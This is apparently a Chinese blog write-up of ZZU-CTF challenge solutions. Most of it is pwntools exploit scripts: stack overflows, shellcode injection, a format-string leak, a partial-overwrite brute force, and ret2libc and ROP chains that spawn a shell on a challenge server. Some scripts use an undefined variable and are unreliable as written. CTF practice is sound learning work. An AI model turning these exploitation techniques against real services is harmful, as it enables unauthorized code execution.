ZZU-CTF

 题目在我的资源,需要可以下载

PWN题解
babybaby_ret

放入IDA查看发现有backdoor,但是直接c的话并没有发现什么,回到汇编窗口,发现了后门函数,看一下保护,然后确定溢出长度即可

 from pwn import *
 context(os='linux',arch='amd64',log_level='debug')
 io = remote('139.224.130.183',10202)
 elf = ELF("./babypwn")
 payload = b'a'*0x88 + p64(0x4011BE)
 io.sendline(payload)
 io.interactive()
baby_shellcode

ret2shellcode板子题,没啥好说的

 from pwn import *
 context(os='linux',arch='amd64',log_level='debug')
 # io = process('./pwn')
 io = remote("139.224.130.183", 10210)
 payload = asm(shellcraft.amd64.sh())
 io.sendline(payload)
 io.interactive()
shellcode

这道题给出的可以写入的shellcode只有10个字节,明显不够我们直接获得shell,因此,我们可以先构造一个调用read函数的shellcode,以此向mmap读入足够长的字节

但是只有10个字节,我们就需要充分利用,之前已经调用过一个read函数,这样就有了一些遗流的指令,可以减少长度,但是这样还不够,这里利用一个cdq指令,这样可以减少shellcode长度为限定字节以内。之后就是正常的ret2shellcode,但是注意要用垃圾数据填充9个字节。

 from pwn import *
 context(os='linux', arch='amd64', log_level='debug')
 p = remote("139.224.130.183", 10205)
 # p = process("./pwn")
 p.recvuntil(b"please enter your shellcode")
 # gdb.attach(p)
 shellcode = asm(""" cdq           ; 
                     push 0x100    ; 
                     pop rdx       ; 
                     syscall
                 """)
 print(len(shellcode))
 p.send(shellcode)
 #前三个是无效的,因为前9个字符已经读取过了,调试一下也可以发现
 payload = asm("""
     xor rax, rax
     xor rdi, rdi
     xor rsi, rsi
     
     xor rax, rax
     xor rdi, rdi
     xor rsi, rsi
     xor rdx, rdx
     mov rdi, 0x68732f6e69622f
     push rdi
     mov rdi, rsp
     mov al, 59
     syscall
 """)
 p.sendline(payload)
 p.interactive()
ez_fmt

简单的格式化字符串,只不过这道题好像无法用%s来直接获取栈上存储的字符串,因此我们用%p来获取值,然后将其转化为字符串

 from pwn import *
 context(os='linux',arch='amd64',log_level='debug')
 io = process("./pwn")
 io = remote("139.224.130.183", 10211)
 #gdb.attach(io)
 payload = b"%17$p"#12-17以此获取
 io.sendline(payload)
 io.interactive()
 hex_values = [0x7433467b67616c66,0x57564d5a4235505f,0x314f55502d395558,0x52584d49412d4250,0x57365a5a41483950,0x7d30]
 for hex_value in hex_values:
     byte_str = hex_value.to_bytes((hex_value.bit_length() + 7) // 8, 'big')
     reversed_byte_str = byte_str[::-1]
     print(reversed_byte_str.decode('utf-8'), end='')
baby_ret

这道题开启了PIE保护,但是存在了后门函数,因此我们要想办法执行这个后门函数,我们根据PIE保护的特性再加上自己本地调试其实可以发现,后门函数与返回地址只有最后1.5个字节不同,并且其偏移是固定的,后门为0x11B1,因此我们只要把最后1.5字节为变为1B1即可,但是只能修改整数字节,因此第四位数随便写一个,有1/16的概率对上就能执行后门函数

 from pwn import *
 context(os='linux', arch='amd64', log_level='debug')
 #io = remote('139.224.130.183',10203)
 io = process("./pwn")
 elf = ELF("./pwn")
 gdb.attach(io)
 #爆破,多执行几次就行了,注意这是小端序
 payload = b'a'*0x88 + b'\xb1\xe1'
 io.send(payload)
 io.interactive()
rop_level1

ret2csu类型题目,并且有足够的溢出空间,因此利用csu泄露write地址后利用ret2libc即可,因为我们可以控制r12-r15,因此也可以用one_gadget,本题只能获得远程shell

 from pwn import *
 from pwn import p64,u64
 context(os='linux', arch='amd64', log_level='debug')
 # io = remote("139.224.130.183", 10207)
 io = process("./pwn")
 e = ELF("./pwn")
 libc = ELF("./libc.so.6")
 write_plt_addr = e.plt["write"]
 write_got_addr = e.got["write"]
 main_addr = 0x4011DB
 rdi_addr = 0x4012a3
 csu = 0x40129A
 move = 0x401280
 ret = 0x40101a
 offset = 0x28
 # gdb.attach(r)
 # payload = b"\x90"*offset + p64(csu) + p64(0) + p64(1) + p64(1) + p64(write_got_addr) + p64(8) + p64(
 #     write_got_addr) + p64(move) + p64(0) + p64(0) + p64(1) + p64(1) + p64(write_got_addr) + p64(8) + #p64(write_got_addr) + p64(main_addr)
 payload = b"\x90"*offset + p64(csu) + p64(0) + p64(1) + p64(1) + p64(write_got_addr) + p64(8) + p64(
     write_got_addr) + p64(move) + p64(0)*7 + p64(main_addr)
 print(len(payload))
 io.recvuntil(b">>")
 io.sendline(payload)
 # write_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
 write_addr = u64(r.recv(8))
 print(hex(write_addr))
 libc_base = write_addr - libc.symbols["write"]
 print(hex(libc_base))
 system = libc_base + libc.symbols["system"]
 binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
 print(hex(system))
 print(hex(binsh))
 # payload2 = offset * b'\x90' + p64(ret) + p64(rdi_addr) + p64(binsh) + p64(system)
 payload2 = offset * b'\x90' + p64(libc_base + 0xe3afe) #one_gadget攻击
 io.send(payload2)
 io.interactive()
rop_level2

这道题限制了溢出长度,因此我们没有办法一步获取地址,但是可以分两步来泄露,因为在第一步返回主函数时r12-r15寄存器的值并没有被改变,所以可以在第二次调用move来执行write泄露地址,之后与level1一样

做这道题时踩了一个坑,本来在调试时发现rbp可以在覆盖rbp值时控制,rdx在执行csu时本身就是0,因此想直接用pop r12-r15来减少一下长度,结果发现不管怎么减少,还是差16个字节的长度,因此想到了分步执行,但是这样执行下来的话是不行的,进程会因为一些原因被kill掉,结果就是本地可以获得地址,但是无妨执行system,远程则直接无法获取地址,本题只能获得远程shell

 from pwn import *
 from pwn import p64,u64
 from LibcSearcher import *
 context(os='linux', arch='amd64', log_level='debug')
 io = remote("139.224.130.183", 10208)
 #io = process("./pwn")
 e = ELF("./pwn")
 libc = ELF("./libc.so.6")
 write_plt_addr = e.plt["write"]
 write_got_addr = e.got["write"]
 main_addr = 0x4011DB
 csu = 0x40128A
 move = 0x401270
 leave = 0x40122C
 ret = 0x40101a
 xor_ebx = 0x401267
 r12_to_r15 = 0x40128c
 pop_rsp = 0x40128d
 pop_r15_ret = 0x401292
 offset = 0x28
 sub_rsp = 0x4011E3
 read = 0x40120C
 pop_rdi = 0x401293
 # gdb.attach(r)
 # 能用11个gadget
 payload = b"\x90"*0x28+ p64(csu) + p64(0) + p64(1) + p64(1) + p64(write_got_addr) + p64(8) + p64(
     write_got_addr) + p64(main_addr)
 print(len(payload))
 io.recvuntil(b">>")
 io.send(payload)
 payload = b"\x90"*0x20 + p64(1) + p64(move) + b"\x00"*0x38 + p64(main_addr)
 print(len(payload))
 io.recvuntil(b">>")
 io.send(payload)
 # write_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
 write_addr = u64(r.recv(8))
 print(hex(write_addr))
 libc_base = write_addr - libc.symbols["write"]
 system = libc_base + libc.symbols["system"]
 binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
 print(hex(system))
 print(hex(binsh))
 payload = b"\x11"*0x28 + p64(libc_base + 0xe3afe)
 r.send(payload)
 r.interactive()

这两道题发现了一个现象就是,本地获取的地址不是7f开头的,具体什么原因还没弄懂

b0call

泄露canary和静态链system call

有一点就是 32位和64位的canary所在的位置是不一样的

from pwn import *
from struct import pack
context(os='linux',arch='i386',log_level='debug')
# io = process("./pwn")
io = remote("139.224.130.183", 10201)
elf = ELF("./pwn")
payload = b"a"*0x40
# gdb.attach(io)
io.sendline(payload)
io.recvuntil(b"a"*0x40)
canary = u32(io.recv(4))-0xa
print(hex(canary))

p = b''
p += pack('<I', 0x0806ef4a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b83c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080548db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ef4a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b83c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080548db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ef4a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080494e3) # xor eax, eax ; ret
p += pack('<I', 0x080548db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080debb9) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ef4a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080494e3) # xor eax, eax ; ret
p += pack('<I', 0x0807a93f) # inc eax ; ret
p += pack('<I', 0x0807a93f) # inc eax ; ret
p += pack('<I', 0x0807a93f) # inc eax ; ret
p += pack('<I', 0x0807a93f) # inc eax ; ret
p += pack('<I', 0x0807a93f) # inc eax ; ret
p += pack('<I', 0x0807a93f) # inc eax ; ret
p += pack('<I', 0x0807a93f) # inc eax ; ret
p += pack('<I', 0x0807a93f) # inc eax ; ret
p += pack('<I', 0x0807a93f) # inc eax ; ret
p += pack('<I', 0x0807a93f) # inc eax ; ret
p += pack('<I', 0x0807a93f) # inc eax ; ret
p += pack('<I', 0x0806cbc5) # int 0x80

payload = b"a"*0x30+p32(canary)+b"a"*0xc + p
io.sendline(payload)
io.interactive()
REVERSE题解
assembly_language

简单的异或,自己看不懂就扔给AI

你真的很懂贝斯

shift+f12大法,找到base加密,随波逐流秒了

how_nop

把爆红的地方nop掉,再去开头按下p生成函数,f5看c

import hashlib 
x = [  
    0xD0, 0xD0, 0x85, 0x85, 0x80, 0x80, 0xC5, 0x8A, 0x93, 0x89,   
    0x92, 0x8F, 0x87, 0x88, 0x9F, 0x8F, 0xC5, 0x84, 0xD6, 0xD1,   
    0xD2, 0x82, 0xD3, 0xDE, 0x87  
]  
input_data = bytearray(25)  
input_len = 25  
for i in range(len(x)):   
    input_data[i] = (~x[i] ^ input_len) & 0xFF
input_str = input_data.decode('utf-8', 'ignore')  
md5 = hashlib.md5(input_str.encode()).hexdigest()
print(input_str)
print(md5)
  • 23
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值